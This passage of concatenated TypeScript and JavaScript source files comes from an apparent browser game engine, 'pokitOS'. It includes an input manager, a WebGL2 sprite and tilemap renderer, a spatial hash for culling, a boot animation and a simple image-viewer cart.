<file_sep>/** * Object for handling the state of the console's input. Afte constructing, * call full_setup(). */ export class InputManager implements IInputManager { buttons: { up: boolean, down: boolean, right: boolean, left: boolean, a: boolean, b: boolean, x: boolean, y: boolean, start: boolean, select: boolean }; current_touches: Map<number, Touch>; current_keys: Set<string>; debug_callback: Function; cust_keymap: {[key:string]: string}; cust_gamepadbuttonmap: Map<string, string>; cust_gamepaddpadaxeis: Map<number, { '-1': string, '1': string }> dirty_keys: boolean; dirty_touch: boolean; constructor () { this.dirty_keys = false; this.buttons = { 'up': false, 'down': false, 'right': false, 'left': false, 'a': false, 'b': false, 'x': false, 'y': false, 'start': false, 'select': false }; this.current_keys = new Set(); this.debug_callback = null; this.cust_keymap = { 'KeyW': 'up', 'KeyA': 'left', 'KeyS': 'down', 'KeyD': 'right', 'Enter': 'start', 'ShiftRight': 'start', 'ShiftLeft': 'start', 'KeyJ': 'b', 'KeyK': 'a', 'KeyU': 'y', 'KeyI': 'x', 'ArrowLeft': 'left', 'ArrowRight': 'right', 'ArrowUp': 'up', 'ArrowDown': 'down' }; document.addEventListener('keydown', (ev) => { this.current_keys.delete(ev.code); console.log('pressing a key: ' + ev.code) this.dirty_keys = true; }); document.addEventListener('keyup', (ev) => { this.current_keys.delete(ev.code); console.log('releasing a key: ' + ev.code) this.dirty_keys = true; }); } /** * The most important function in the object. * * Polls the various registers available to us to determine if a button is pressed. * * First polls any recognized gamepads. Button-codes are set up for both * XBox One and PS4 controllers. No guarantee that other controllers will work. * * Next grabs the touches on the screen, and determines if any buttons are pressed * using the most advanced alogrythms this side of War Games * * Finally gets the keys showing up as pressed. * * If we have a debug callback, calls it. Useful for, say, rendering out a debug message * to the screen */ detect_buttons_pressed() { for (let proppa in this.buttons) { this.buttons[proppa] = false; } let buttons = this.buttons; let cust_keymap = this.cust_keymap; this.current_keys.forEach(function (a) { buttons[cust_keymap[a]] = true; }); if (this.debug_callback) { this.debug_callback() } } tick() { if (this.dirty_keys){ this.detect_buttons_pressed(); } } } <file_sep>"use strict"; let _programs: IProgram[] = []; let _gl: WebGL2RenderingContext = null; let _textures: Map<string,ITexture> = null; let _cameras: Map<string, ICamera> = null; let _actors: Map<string, IActor> = null; let _actor_dirty_flag: boolean = true; interface IProgram { program: WebGLProgram, attributes: { [number: string]: any }, uniforms: { [WebGLUniformLocation: string]: any } } interface ITexture { texture: WebGLTexture, width: number, height: number, id?: string } interface ICamera { x: number, y: number angle: number, width: number, height: number, main: boolean, frameBuffer: WebGLFramebuffer, texture: ITexture, views: string[], clear: { r: number, g: number, b: number, a: number } } interface IActor { _tilemapData?: { numSpritesRow: number, numTilesRow: number, tileWidth: number, tileHeight: number, zWidth: number, alphaTile: number, layers: number[][] }, name: string, texture: WebGLTexture, texture_id: string, vertexBuffer: WebGLBuffer, vertexArray: WebGLVertexArrayObject, uvBuffer: WebGLBuffer, passes: number, width: number, height: number, sheetWidth: number, sheetHeight: number, spriteWidth: number, spriteHeight: number, sprite_x: number, sprite_y: number, x_translation: number, y_translation: number, x_scale: number, y_scale: number, angle: number, priority: number } function createShader(gl: WebGL2RenderingContext, type: number, source: string): WebGLShader { let shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); let success = gl.getShaderParameter(shader, gl.COMPILE_STATUS); if (success) { return shader; } console.log(gl.getShaderInfoLog(shader)); gl.deleteShader(shader); } function createProgram(gl: WebGL2RenderingContext, vertexShader: WebGLShader, fragmentShader: WebGLShader): WebGLProgram { let program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); let success = gl.getProgramParameter(program, gl.LINK_STATUS); if (success) { return program; } console.log(gl.getProgramInfoLog(program)); gl.deleteProgram(program); } /** Initialize WebGL context and prepare renderer * @param {HTMLCanvasElement} canvas - The canvas to render to */ export async function initContext(canvas: HTMLCanvasElement): Promise<boolean> { _gl = canvas.getContext("webgl2", { premultipliedAlpha: true, alpha: true }); _textures = new Map(); _actors = new Map(); _cameras = new Map(); if (!_gl) { return false; } _gl.enable(_gl.DEPTH_TEST); _gl.depthFunc(_gl.LEQUAL); _gl.blendFunc(_gl.ONE, _gl.ONE_MINUS_SRC_ALPHA); _gl.enable(_gl.BLEND); let vertexShaderSource = await fetch("/js/jewls/opengl/shaders/default_vertex_shader.glsl").then(b => b.text()); let fragmentShaderSource = await fetch("/js/jewls/opengl/shaders/default_fragment_shader.glsl").then(b => b.text()); let vertexShader = createShader(_gl, _gl.VERTEX_SHADER, vertexShaderSource); let fragmentShader = createShader(_gl, _gl.FRAGMENT_SHADER, fragmentShaderSource); let program = createProgram(_gl, vertexShader, fragmentShader); let positionAttributeLocation = _gl.getAttribLocation(program, "a_vertexPosition"); let uvAttributeLocation = _gl.getAttribLocation(program, "a_uvCoord"); let priorityUniformLocation = _gl.getUniformLocation(program, "u_priority"); let yFlipUnifomLocation = _gl.getUniformLocation(program, "u_flip_y"); let resolutionUniformLocation = _gl.getUniformLocation(program, "u_resolution"); let translationUniformLocation = _gl.getUniformLocation(program, "u_translation"); let rotationUniformLocation = _gl.getUniformLocation(program, "u_rotation"); let scaleUniformLocation = _gl.getUniformLocation(program, "u_scale"); let modifierUniformLocation = _gl.getUniformLocation(program, "u_uvModifier"); let translatorUniformLocation = _gl.getUniformLocation(program, "u_uvTranslator"); let imageUniformLocation = _gl.getUniformLocation(program, "u_image"); _programs.push({ program: program, attributes: { vertexPosition: positionAttributeLocation, uvCoords: uvAttributeLocation, }, uniforms: { priority: priorityUniformLocation, yFlip: yFlipUnifomLocation, resolution: resolutionUniformLocation, translation: translationUniformLocation, rotation: rotationUniformLocation, scale: scaleUniformLocation, uvModifier: modifierUniformLocation, uvTranslator: translatorUniformLocation, image: imageUniformLocation, }, }); return true; } /** Send image to GPU for use in rendering * @param {String} name - The ID to save the texture under * @param {HTMLImageElement} image - The image to send to the GPU */ export function createImageTexture(name: string, image: HTMLImageElement) { let tex = createTexture(image.width, image.height, image); tex.id = name; _textures.set(name, tex); } /** Send raw image data to GPU for use in rendering * @param {String} name - The ID to save the texture under * @param {Number} width - The width of the image * @param {Number} height - The height of the image * @param {Uint8Array} data - The image data in RGBA format */ export function createRawTexture(name: string, width: number, height: number, data: Uint8Array) { let tex = createTexture(width, height, data); _textures.set(name, tex); } function createTexture(width: number, height: number, data: HTMLImageElement | Uint8Array): ITexture { let texture = _gl.createTexture(); _gl.bindTexture(_gl.TEXTURE_2D, texture); _gl.pixelStorei(_gl.UNPACK_PREMULTIPLY_ALPHA_WEBGL, true); //@ts-ignore _gl.texImage2D(_gl.TEXTURE_2D, 0, _gl.RGBA, width, height, 0, _gl.RGBA, _gl.UNSIGNED_BYTE, data); _gl.texParameteri(_gl.TEXTURE_2D, _gl.TEXTURE_MAG_FILTER, _gl.NEAREST); _gl.texParameteri(_gl.TEXTURE_2D, _gl.TEXTURE_MIN_FILTER, _gl.NEAREST); _gl.texParameteri(_gl.TEXTURE_2D, _gl.TEXTURE_WRAP_S, _gl.CLAMP_TO_EDGE); _gl.texParameteri(_gl.TEXTURE_2D, _gl.TEXTURE_WRAP_T, _gl.CLAMP_TO_EDGE); _gl.bindTexture(_gl.TEXTURE_2D, null); return { texture: texture, width: width, height: height, }; } /** Delete texture * @param {String} name - The ID of the texture to be deleted */ export function deleteTexture(name: string){ _gl.deleteTexture(_textures.get(name).texture); _textures.delete(name); } function parseTileMap(numSpritesRow: number, numTilesRow: number, tileWidth: number, tileHeight: number, zWidth: number, alphaTile: number, layers: number[][]): [number[],number[]] { //console.log(layers); let positions = []; let uvs = []; let offsetX = -((numTilesRow / 2) * tileWidth); let offsetY = -((layers[0].length / numTilesRow / 2) * tileWidth); let l = 0; for (let layer of layers) { for (let i = 0; i < layer.length; i++) { let x = i % numTilesRow; let y = Math.floor(i / numTilesRow); let tile = alphaTile; if (layer[i] > 0) tile = layer[i] - 1; let spriteX = tile % numSpritesRow; let spriteY = Math.floor(tile / numSpritesRow); //console.log({ i: i, x: x, y: y, spriteX: spriteX, spriteY: spriteY }) createSquare(positions,tileWidth, tileHeight, offsetX + tileWidth * x, offsetY + tileHeight * y, l * zWidth) createUvSquare(uvs, spriteX, spriteY); //return [positions, uvs]; } l--; } return [positions, uvs]; } export function setTileWithCoords(actor: string, x: number, y: number, tile: number, layer: number){ let tilemap = _actors.get(actor)._tilemapData; setTile(actor, y*tilemap.numTilesRow + x, tile, layer); } export function setTile(actor: string, index: number, tile: number, layer: number){ _actors.get(actor)._tilemapData.layers[layer][index] = tile; } export function updateTileMap(actorID: string){ let uvs = [] let actor = _actors.get(actorID); let tilemap = actor._tilemapData; for (let layer of tilemap.layers) { for (let i = 0; i < layer.length; i++) { let tile = tilemap.alphaTile; if (layer[i] > 0) tile = layer[i] - 1; let spriteX = tile % tilemap.numSpritesRow; let spriteY = Math.floor(tile / tilemap.numSpritesRow); //console.log({ i: i, x: x, y: y, spriteX: spriteX, spriteY: spriteY }) createUvSquare(uvs, spriteX, spriteY); //return [positions, uvs]; } } let uvCoords = _programs[0].attributes.uvCoords; bufferUvs(uvs, uvCoords, actor.uvBuffer); } function createSquare(positions: number[], width: number, height: number, x: number, y: number, layer: number) { positions.push(x, y, layer); positions.push(x + width, y, layer); positions.push(x, y + height, layer); positions.push(x + width, y, layer); positions.push(x, y + height, layer); positions.push(x + width, y + width, layer); } function createUvSquare(uvs: number[], spriteX: number, spriteY: number){ uvs.push(spriteX, spriteY); uvs.push(spriteX + 1, spriteY); uvs.push(spriteX, spriteY + 1); uvs.push(spriteX + 1, spriteY); uvs.push(spriteX, spriteY + 1); uvs.push(spriteX + 1, spriteY + 1); } /** Create tile map * @param {String} name - The ID to save the tile map under * @param {String} texture - The ID of the texture containing the sprite map * @param {Number} numSpritesRow - The ammount of sprites in a single row of the sprite map * @param {Number} numTilesRow - The ammount of tiles in a single row of the tile map * @param {Number} tileWidth - The pixel width of a single sprite * @param {Number} tileHeight - The pixel height of a single sprite * @param {Number} alphaTile - A number pointing to an empty sprite in the sprite map * @param {Array} layers - An array of arrays containing layer data for the tile map */ export function createTileMap(name: string, texture: string, numSpritesRow: number, numTilesRow: number, tileWidth: number, tileHeight: number, zWidth: number, alphaTile: number, layers: number[][]) { let [positions, uvs] = parseTileMap(numSpritesRow, numTilesRow, tileWidth, tileHeight, zWidth, alphaTile, layers); //console.log(positions); //console.log(uvs); let tex = _textures.get(texture); let vertexPosition = _programs[0].attributes.vertexPosition; let uvCoords = _programs[0].attributes.uvCoords; let [positionBuffer, vao] = bufferObject(positions, vertexPosition); let coordBuffer = bufferUvs(uvs, uvCoords); _actors.set(name, { _tilemapData: { numSpritesRow: numSpritesRow, numTilesRow: numTilesRow, tileWidth: tileWidth, tileHeight: tileHeight, zWidth: zWidth, alphaTile: alphaTile, layers: layers, }, name: name, texture: tex.texture, texture_id: tex.id, vertexBuffer: positionBuffer, vertexArray: vao, uvBuffer: coordBuffer, passes: positions.length/3, width: numTilesRow * tileWidth, height: Math.floor(layers[0].length / numTilesRow) * tileHeight, sheetWidth: tex.width, sheetHeight: tex.height, spriteWidth: tileWidth / tex.width, spriteHeight: tileHeight / tex.height, sprite_x: 0, sprite_y: 0, x_translation: 0, y_translation: 0, x_scale: 1, y_scale: 1, angle: 0, priority: 0, }); } /** Create actor for defining sprite data on the canvas * @param {String} name - The ID to save the actor under * @param {String} texture - The ID of the sprite map or texure to be displayed * @param {Number} width - The width of the sprite * @param {Number} height - The height of the sprite * @param {Boolean} textureLiteral - Parameter for internal use only, should always be false */ export function createActor(name: string, texture: string | ITexture, width: number, height: number, textureLiteral: boolean = false) { let tex = _textures.get(<string>texture); if (textureLiteral) tex = <ITexture>texture; //console.log(_programs); let vertexPosition = _programs[0].attributes.vertexPosition; let uvCoords = _programs[0].attributes.uvCoords; let offsetX = tex.width / 2; let offsetY = tex.height / 2; let positions = [ -offsetX, -offsetY, 0, -offsetX, offsetY, 0, offsetX, -offsetY, 0, -offsetX, offsetY, 0, offsetX, -offsetY, 0, offsetX, offsetY, 0, ]; let uvs = [ 0.0, 0.0, 0.0, 1.0, 1.0, 0.0, 0.0, 1.0, 1.0, 0.0, 1.0, 1.0, ]; let [positionBuffer, vao] = bufferObject(positions, vertexPosition); let coordBuffer = bufferUvs(uvs, uvCoords); width = width || tex.width; height = height || tex.height; _actors.set(name, { name: name, texture: tex.texture, texture_id: tex.id, vertexBuffer: positionBuffer, vertexArray: vao, uvBuffer: coordBuffer, passes: 6, width: width, height: height, sheetWidth: tex.width, sheetHeight: tex.height, spriteWidth: width / tex.width, spriteHeight: height / tex.height, sprite_x: 0, sprite_y: 0, x_translation: 0, y_translation: 0, x_scale: 1, y_scale: 1, angle: 0, priority: 0, }); } function bufferObject(positions: number[], vertexPosition: number): [WebGLBuffer, WebGLVertexArrayObject] { let positionBuffer = _gl.createBuffer(); _gl.bindBuffer(_gl.ARRAY_BUFFER, positionBuffer); _gl.bufferData(_gl.ARRAY_BUFFER, new Float32Array(positions), _gl.STATIC_DRAW); let vao = _gl.createVertexArray(); _gl.bindVertexArray(vao); _gl.enableVertexAttribArray(vertexPosition); _gl.vertexAttribPointer(vertexPosition, 3, _gl.FLOAT, false, 0, 0); return [positionBuffer, vao]; } function bufferUvs(uvs: Iterable<number>, uvCoords: number, coordBuffer?: WebGLBuffer): WebGLBuffer { coordBuffer = coordBuffer || _gl.createBuffer(); _gl.bindBuffer(_gl.ARRAY_BUFFER, coordBuffer); _gl.bufferData(_gl.ARRAY_BUFFER, new Float32Array(uvs), _gl.STATIC_DRAW); _gl.vertexAttribPointer(uvCoords, 2, _gl.FLOAT, false, 0, 0); _gl.enableVertexAttribArray(uvCoords); return coordBuffer; } /** Delete actor * @param {String} name - The ID of the actor to be deleted */ export function deleteActor(name: string) { let actor = _actors.get(name); _gl.deleteVertexArray(actor.vertexArray); _gl.deleteBuffer(actor.vertexBuffer); _gl.deleteBuffer(actor.uvBuffer); _actors.delete(name); } /** Set sprite metadata for actor * @param {String} actor - The actor to be modified * @param {Number} x - The x coordinate of the sprite in the sprite map * @param {Number} y - The y coordinate of the sprite in the sprite map */ export function setActorSprite(actor: string, x: number, y: number) { _actors.get(actor).sprite_x = x; _actors.get(actor).sprite_y = y; } /** Create camera for manipulating viewport * @param {String} name - The ID to save the camera under * @param {Number} width - The width of the viewport * @param {Number} height - The height of the viewport * @param {Boolean} isMainCamera - Determines weather or not this should be used as the main rendering camera (default False) * @param {Number} clearR - The red value of the viewport clear color (default 0) * @param {Number} clearG - The green value of the viewport clear color (default 0) * @param {Number} clearB - The blue value of the viewport clear color (default 0) * @param {Number} clearA - The alpha value of the viewport clear color (default 0) */ export function createCamera(name: string, width: number, height: number, isMainCamera: boolean = false, clearR: number = 0, clearG: number = 0, clearB: number = 0, clearA: number = 0) { const fb = _gl.createFramebuffer(); _gl.bindFramebuffer(_gl.FRAMEBUFFER, fb); let tex = createTexture(width, height, null); _gl.framebufferTexture2D(_gl.FRAMEBUFFER, _gl.COLOR_ATTACHMENT0, _gl.TEXTURE_2D, tex.texture, 0); _cameras.set(name, { x: 0, y: 0, angle: 0, width: width, height: height, main: isMainCamera, frameBuffer: fb, texture: tex, views: [], clear: { r: clearR, g: clearG, b: clearB, a: clearA, }, }) } /** Delete camera * @param {String} name - The ID of the camera to be deleted */ export function deleteCamera(name: string){ let camera = _cameras.get(name); for(let cv of camera.views){ deleteActor(cv); } _gl.deleteFramebuffer(camera.frameBuffer); _gl.deleteTexture(camera.texture.texture); _cameras.delete(name); } /** Create an actor that displays a camera's viewport * @param {String} name - The ID to save the actor under * @param {String} camera - The ID of the camera to be displayed */ export function createCameraView(name: string, camera: string) { let tex = _cameras.get(camera).texture; createActor(name, tex, tex.width, tex.height, true); _cameras.get(camera).views.push(name); } /** Clear render canvas (automatically done in render) * @param {Number} r - The red value of the viewport clear color (default 0) * @param {Number} g - The green value of the viewport clear color (default 0) * @param {Number} b - The blue value of the viewport clear color (default 0) * @param {Number} a - The alpha value of the viewport clear color (default 0) */ export function clear(r: number = 0, g: number = 0, b: number = 0, a: number = 0) { _gl.clearColor(r, g, b, a) _gl.clear(_gl.COLOR_BUFFER_BIT); } function toRad(deg: number) { return deg / 360 * 2 * Math.PI; } /** Sets actor rotation offset in degrees * @param {String} actor - The ID of the actor to be modified * @param {Number} degrees - The rotation offset */ export function rotateActor(actor: string, degrees: number) { _actors.get(actor).angle = degrees; } /** Sets camera rotation offset in degrees * @param {String} camera - The ID of the camera to be modified * @param {Number} degrees - The rotation offset */ export function rotateCamera(camera: string, degrees: number) { _cameras.get(camera).angle = degrees; } /** Sets the actor translation offset * @param {String} actor - The ID of the actor to be modified * @param {Number} x - The x value offset (default 0) * @param {Number} y - The y value offset (default 0) * @param {Number} z - The z value offset (default 0) */ export function translateActor(actor: string, x: number = 0, y: number = 0, z: number = 0) { _actors.get(actor).x_translation = x; _actors.get(actor).y_translation = y; _actors.get(actor).priority = z; } /** Sets the camera translation offset * @param {String} camera - The ID of the camera to be modified * @param {Number} x - The x value offset (default 0) * @param {Number} y - The y value offset (default 0) */ export function translateCamera(camera: string, x: number = 0, y: number = 0) { _cameras.get(camera).x = x; _cameras.get(camera).y = y; } /** Sets the actor scale offset * @param {String} actor - The ID of the actor to be modified * @param {Number} x - The width value offset * @param {Number} y - The height value offset */ export function scaleActor(actor: string, x: number = 1, y: number = 1) { _actors.get(actor).x_scale = x; _actors.get(actor).y_scale = y; } /** Renders all viewports */ export function render(sortFunc: CullingFunction) { sortFunc = sortFunc || ((entities) => entities); _gl.colorMask(true, true, true, true); let programData = _programs[0]; for (let camera of _cameras.values()) { _gl.viewport(0, 0, camera.width, camera.height); if(camera.main){ _gl.bindFramebuffer(_gl.FRAMEBUFFER, null); clear(camera.clear.r, camera.clear.g, camera.clear.b, camera.clear.a); } _gl.bindFramebuffer(_gl.FRAMEBUFFER, camera.frameBuffer); clear(camera.clear.r, camera.clear.g, camera.clear.b, camera.clear.a); _gl.useProgram(programData.program); let cam = Object.assign({z:-200, depth:400}, camera) let comprehended: IRenderedObject[] = [..._actors.values()]; comprehended.forEach(x=>{ x.x = x.x_translation x.y=x.y_translation x.z=0; x.scaleX=x.x_scale x.scaleY=x.y_scale }); let sorted = [...sortFunc(comprehended, cam)].sort((x,y) => y.priority - x.priority); //console.log(sorted); for (let actor of sorted) {//filterMap(_actors.values(), x => checkOverlap(camera.x, camera.y, camera.width, camera.height, x.x_translation, x.y_translation, x.width, x.height))) { _gl.bindVertexArray(actor.vertexArray); _gl.activeTexture(_gl.TEXTURE0); _gl.bindTexture(_gl.TEXTURE_2D, actor.texture); _gl.uniform1i(programData.uniforms.image, 0); _gl.uniform1f(programData.uniforms.priority, actor.priority); _gl.uniform1f(programData.uniforms.yFlip, 1.0); _gl.uniform2f(programData.uniforms.resolution, camera.width, camera.height); _gl.uniform2f(programData.uniforms.translation, actor.x_translation - camera.x, actor.y_translation - camera.y); _gl.uniform2f(programData.uniforms.rotation, Math.sin(toRad(actor.angle - camera.angle)), Math.cos(toRad(actor.angle - camera.angle))); _gl.uniform2f(programData.uniforms.scale, actor.x_scale, actor.y_scale); _gl.uniform2f(programData.uniforms.uvModifier, actor.spriteWidth, actor.spriteHeight); _gl.uniform2f(programData.uniforms.uvTranslator, actor.sprite_x * actor.spriteWidth, actor.sprite_y * actor.spriteHeight); if(camera.main){ _gl.bindFramebuffer(_gl.FRAMEBUFFER, null); _gl.uniform1f(programData.uniforms.yFlip, -1.0); _gl.drawArrays(_gl.TRIANGLES, 0, actor.passes); } if (actor.texture === camera.texture.texture) continue; _gl.bindFramebuffer(_gl.FRAMEBUFFER, camera.frameBuffer); _gl.drawArrays(_gl.TRIANGLES, 0, actor.passes); } } _gl.colorMask(false, false, false, true); clear(1, 1, 1, 1); }<file_sep>class BasicCameraMovement { constructor(pokitOS) { this.pokitOS = pokitOS; this.componentsRequired = ['camera', 'identity']; } entityUpdate([entityID, _, cam]) { if (this.pokitOS.input.buttons.up) { cam.y++; } if (this.pokitOS.input.buttons.down) { cam.y--; } if (this.pokitOS.input.buttons.left) { cam.x++; } if (this.pokitOS.input.buttons.right) { cam.x--; } if (this.pokitOS.input.buttons.a) { cam.scale+= 0.1; } if (this.pokitOS.input.buttons.b) { cam.scale-= 0.1; } if (this.pokitOS.input.buttons.y) { cam.scale = 1; } if (this.pokitOS.input.buttons.x) { cam.scale = 2; } } } export class GameCart { constructor(pokitOS) { this.pokitOS = pokitOS; this.img = new Image(); } async preload() { let parma = new URLSearchParams(window.location.search) this.imgsrc = parma.get('img'); this.width = parma.get('width'); this.height = parma.get('height'); this.img.width = this.width; this.img.height = this.height; this.img.src = this.imgsrc; console.log(this.img); this.pokitOS.baublebox.initializeSystem('basiccameramove', new BasicCameraMovement(this.pokitOS)); } async start() { this.pokitOS.baublebox.makeEntity({x: 160, y: 160, width: this.img.width, height: this.img.height}, ['img', this.img]); } }<file_sep>export interface ISpatialEntity{ x: number, y: number, z: number, height: number, width: number, depth: number, scaleX?: number, scaleY?: number, scaleZ?: number } export class SpatialHash { private _map: Map<number, ISpatialEntity[]>; cs: number; constructor(cellsize) { this.cs = cellsize; this._map = new Map(); } add(entity: ISpatialEntity): SpatialHash { let spatialKeys = makeSpatialKey(this.cs, entity); for (let key of spatialKeys) { let bucket = this._map.get(key) bucket ? bucket.push(entity) : this._map.set(key, [entity]) } return this; } addMany(entities: ISpatialEntity[]): SpatialHash { entities.forEach(e=>this.add(e)) return this; } findNearby(entity: ISpatialEntity): Set<ISpatialEntity> { return new Set(makeSpatialKey(this.cs, entity).map(key=>this._map.get(key)).flat().filter(x=>x)) } findColliding(entity: ISpatialEntity): ISpatialEntity[] { return Array.prototype.filter(e=> entity.x < e.x + e.width && entity.x + entity.width > e.x && entity.z < e.z + e.depth && entity.z + entity.depth > e.z && entity.y < e.y + e.height && entity.y + entity.height > e.y, this.findNearby(entity)) } clear(): SpatialHash {this._map.clear();return this} } function makeSpatialKey(cs: number, e: ISpatialEntity): number[]{ let {x,y,z,width,height,depth,scaleX,scaleY,scaleZ} = e depth = depth || 1; // width *= scaleX || 1; // height *= scaleY || 1; // depth *= scaleZ || 1; let hw=Math.floor((x+(width/2))/cs) let hh=Math.floor((y+(height/2))/cs) let hd=Math.floor((z+(depth/2))/cs) // x = x-(width/2) // y = y-(height/2) // z = z-(depth/2) let keys = [] for (let xi=Math.floor(((x||1)-(width/2))/cs);xi<=hw;xi=xi+1) { for (let yi=Math.floor((((y||1))-(height/2))/cs);yi<=hh;yi=yi+1) { for (let zi=Math.floor((z-(depth/2))/cs);zi<=hd;zi=zi+1) { // keys.push(((1e5*xi+1e3*yi+zi)||0)) keys.push(xi + "," + yi + "," + zi); } } } //console.log(keys); return keys } let ent1 = {width: 320, height: 320, depth: 1, x: 160, y: 160, z: 1} let ent2 = {width: 320, height: 320, depth: 1, x: -160, y: 160, z: 1} let ent3 = {width: 320, height: 320, depth: 1, x: -1, y: 160, z: 1} let keys1 = makeSpatialKey(1120, ent1) let keys2 = makeSpatialKey(1120, ent2) let keys3 = makeSpatialKey(1120, ent3) let keyscheck = new Set([...keys1, ...keys3]) console.log(keys1) console.log(keys2) console.log(keys3) console.log(keyscheck) <file_sep>import {Types} from './assetmanager.js'; import { SpatialHash } from './spatialhash.js'; export async function doIntroAnim(pokitOS) { let animrate = 4; let mag = 1; let iText = await pokitOS.assets.queueAsset('load_text', '/img/bootscreen_text.svg', Types.IMAGE); let iTop = await pokitOS.assets.queueAsset('load_top', '/img/bootscreen_top.svg', Types.IMAGE); let iBot = await pokitOS.assets.queueAsset('load_bottom', '/img/bootscreen_bottom.svg', Types.IMAGE); // let cam = pokitOS.ecs.makeEntity({x:0,y:0,height:320,width:320,z:0}) // .addCog('camera', {isMainCamera:true}); let text = pokitOS.ecs.makeEntity({name:'text',x:0,y:160*2,height:320,width:320,z:10}) .addCog('img', {id:'load_text'}) .addCog('spriteActor') let topbar = pokitOS.ecs.makeEntity({x:160*-2,y:0,width:320,height:320,z:1}) .addCog('img', {id:'load_top'}) .addCog('spriteActor') let bottombar = pokitOS.ecs.makeEntity({x:160*2,y:0,width:320,height:320,z:1}) .addCog('img', {id:'load_bottom'}) .addCog('spriteActor') let text_done = false; let top_done = false; let bottom_done = false; let dummycam = {x: 160, y: 160, z: 1, width: 320, height: 320, depth: 1000} return new Promise((resolve) => text.addUniqueCog('doanim', {update: () => { //console.log('stillbeingcalled'); let sh = new SpatialHash(160); sh.addMany([text, topbar, bottombar]) // sh.add(text) // sh.add(topbar) // sh.add(bottombar) // console.log(sh.findNearby(dummycam)) if (text.y > 0) {text.y -= animrate} else if (topbar.x < 0) {topbar.x += animrate*4} else if (bottombar.x > 0) {bottombar.x -= animrate*4} else if (text.width * text.scaleX < 320*32) { [text, topbar, bottombar].forEach(x=>{ x.scaleX+=mag*0.1 x.scaleY+=mag*0.1 // x.rotation += mag * .5 mag+=0.03 }) } else { text.destroy() topbar.destroy() bottombar.destroy() pokitOS.ecs.removeCog('doanim') //console.log(pokitOS) resolve() } }}) ) }<file_sep>import { SpatialHash, ISpatialEntity } from './spatialhash.js' import { ECS } from './ecs.js'; import { Renderer } from './jewls.js'; import { AssetManager } from './assetmanager.js'; import { Mixer } from './boombox.js'; declare global { interface Window { pokitOS: PokitOS } interface IRenderedObject { x?: number, y?: number, z?: number, height?: number, width?: number, depth?: number, scaleX?: number, scaleY?: number, [any: string]: any } interface CullingFunction{ (entities: IRenderedObject[], cam: IRenderedObject):Set<IRenderedObject>|IRenderedObject[] } interface IInputManager { buttons: { up: boolean, down: boolean, right: boolean, left: boolean, a: boolean, b: boolean, x: boolean, y: boolean, start: boolean, select: boolean } } interface IRenderer { init: (engine: PokitOS) => void, render: (cullFunc: CullingFunction) => void } } let shouldLog = true; export class PokitOS { time: { r: number, framerate: number, interval: number, timelapsed: number, timesince: number, delta: number, prev: number active?: boolean } renderer: Renderer; ecs: ECS; assets: AssetManager; mixer: Mixer; cullmap: SpatialHash; constructor(initbundle:{ ecs: ECS, inputmanager: IInputManager, renderer: IRenderer, assets: AssetManager, mixer: Mixer }) { let s = this; this.time = null; this.renderer = null; this.ecs = null; this.assets = null; this.mixer = null; this.cullmap = new SpatialHash(320); Object.assign(this, initbundle); } maketime() { let now = performance.now(); let t = this.time ? this.time : {r:null,framerate:60,interval:1000/60,timelapsed:0,timesince:0,delta:0,prev:now}; t.delta = now - t.prev; t.prev = now; t.timesince += t.delta > 1e3 ? 0 : t.delta; this.time = t; return t; } raf () {let s = this;s.time.r = requestAnimationFrame(() => s.spin.call(s))} start(){ this.time = this.maketime(); this.time.active = true; this.raf(); } stop(){ this.time.active = false; cancelAnimationFrame(this.time.r); } async preload(): Promise<PokitOS> { await this.ecs.init(this); await this.renderer.init(this); await this.assets.init(this); await this.mixer.init(this); return this; } spin() { let t = this.maketime(); this.raf(); while(t.timesince >= t.interval) { this.ecs.update() t.timesince -= t.interval; } let self = this; this.renderer.render( function(entities, camera) { self.cullmap.clear(); self.cullmap.addMany(<ISpatialEntity[]>entities) return self.cullmap.findNearby(<ISpatialEntity>camera) } ) // this.renderer.render( // (entities, camera)=>{ // camera.x += camera.width/2; // camera.y += camera.height/2; // camera.z = 1; // camera.depth = 1000; // // camera.width*=2; // // camera.height*=2; // let top = entities.filter(x=>x.texture_id=='load_top')[0]; // let shm = new SpatialHash(1320); // shm.addMany(entities); // let near = shm.findNearby(camera); // if(near.has(top) && shouldLog){ // console.log(top.x) // shouldLog = false; // console.log(shouldLog); // } // return near; // } // ); } }<file_sep>export function setImage(imgname: string, offx: number, offy: number, offwidth: number, offheight: number): Function { return () => { this.imgname = imgname; this.offx = offx; this.offy = offy; this.offwidth = offwidth; this.offheight = offheight; this.tags.set('visable'); this.ecs.pokitOS.renderer.addEntity(this); } }<file_sep>const rightbuttons = new Set(['a', 'b', 'y', 'x']); const validbuttons = new Set(['a', 'b', 'x', 'y', 'start', 'select', 'up', 'down', 'left', 'right']) const buttons_reset_vals = { 'up': false, 'down': false, 'right': false, 'left': false, 'a': false, 'b': false, 'x': false, 'y': false, 'start': false, 'select': false }; const keymap = { 'KeyW': 'up', 'KeyA': 'left', 'KeyS': 'down', 'KeyD': 'right', 'Enter': 'start', 'ShiftRight': 'start', 'ShiftLeft': 'start', 'KeyJ': 'b', 'KeyK': 'a', 'KeyU': 'y', 'KeyI': 'x', 'ArrowLeft': 'left', 'ArrowRight': 'right', 'ArrowUp': 'up', 'ArrowDown': 'down' } const gamepadbuttonmap = new Map(Object.entries({ 0: 'a', 1: 'b', 2: 'y', 3: 'x', 7: 'select', 6: 'start', 8: 'start', 9: 'select', 12: 'up', 13: 'down', 14: 'left', 15: 'right' })) const gamepaddpadaxis = new Map([ [7, {'-1': 'up', '1': 'down'}], [6, {'-1': 'left', '1': 'right'}] ]) /** * Object for handling the state of the console's input. Afte constructing, * call full_setup(). */ export class InputManager implements IInputManager{ buttons: { up: boolean, down: boolean, right: boolean, left: boolean, a: boolean, b: boolean, x: boolean, y: boolean, start: boolean, select: boolean } current_touches: Map<number, Touch>; current_keys: Set<string>; debug_callback: Function; cust_keymap: {[key:string]: string}; cust_gamepadbuttonmap: Map<string, string>; cust_gamepaddpadaxeis: Map<number, { '-1': string, '1': string }> dirty_keys: boolean; dirty_touch: boolean; constructor () { this.buttons = { 'up': false, 'down': false, 'right': false, 'left': false, 'a': false, 'b': false, 'x': false, 'y': false, 'start': false, 'select': false }; this.current_touches = new Map(); this.current_keys = new Set(); this.debug_callback = null; this.cust_keymap = keymap; this.cust_gamepadbuttonmap = gamepadbuttonmap; this.cust_gamepaddpadaxeis = gamepaddpadaxis; } setup_touch() { ['touchstart', 'touchmove'].map((a) => document.addEventListener(a, 